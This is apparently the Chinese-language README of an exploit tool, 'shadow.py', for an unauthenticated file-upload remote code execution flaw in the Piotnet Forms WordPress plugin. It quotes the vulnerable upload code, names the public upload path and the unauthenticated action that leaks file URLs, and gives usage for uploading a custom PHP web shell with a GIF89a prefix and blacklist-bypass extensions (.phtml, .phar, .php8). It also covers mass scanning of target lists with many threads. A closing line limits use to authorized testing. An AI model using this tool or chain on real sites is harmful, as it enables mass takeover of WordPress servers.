该漏洞源于 piotnetforms_ajax_form_builder 函数中的文件类型验证不充分。该插件采用了一个不完整的扩展名黑名单,仅阻止 php、phpt、php5、php7 和 exe,同时允许 .phtml 或 .phar 等危险替代格式。
AJAX 处理器在注册时未要求任何身份验证:
// inc/forms/ajax-form-builder.php:9-10
add_action( 'wp_ajax_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
add_action( 'wp_ajax_nopriv_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
文件验证仅依赖不完整的扩展名黑名单,不进行 MIME 类型或魔术字节校验:
// inc/forms/ajax-form-builder.php:678-688
$not_allowed_extensions = [ 'php', 'phpt', 'php5', 'php7', 'exe' ];
$file_extension = pathinfo( $file_name_san, PATHINFO_EXTENSION );
if ( in_array( strtolower( $file_extension ), $not_allowed_extensions ) ) {
wp_die();
}
// .phar, .phtml, .php8, .pht, etc. all pass through freely
move_uploaded_file( $file['tmp_name'][$i], $new_file );
上传目录仅包含一个空的 index.html 以防止目录列表——没有用于阻止 PHP 执行的 .htaccess。上传的文件位于以下公开可访问路径:
/wp-content/uploads/piotnetforms/files/{filename}-{uniqid}.{ext}
文件 URL 可通过 piotnetforms_export_form_submission AJAX 操作(同样为 nopriv)在未认证的情况下获取,从而构成完整的未认证 RCE 攻击链。
这是与 CVE-2026-4885 中相同的复制粘贴式漏洞——这两个插件共享来自同一开发者的相同易受攻击的上传处理代码。
交互模式:
python3 shadow.py
单目标:
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shadow.phtml
批量扫描:
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shadow.phtml
命令行选项:
-u, --url - 目标 URL-f, --file - 目标文件(每行一个)-s, --shell - 自定义 PHP shell(自动添加 GIF89a 前缀)-t, --threads - 并发线程数(默认:5)-h, --help - 显示帮助piotnetforms_export_form_submission 泄露 URL(未认证)shell.txt.php .phpt .php5 .php7 .exe
绕过扩展名: .phtml .phar .shtml .php8
pip install httpx
该工具仅用于授权的安全测试和教育目的。禁止未经授权的系统测试。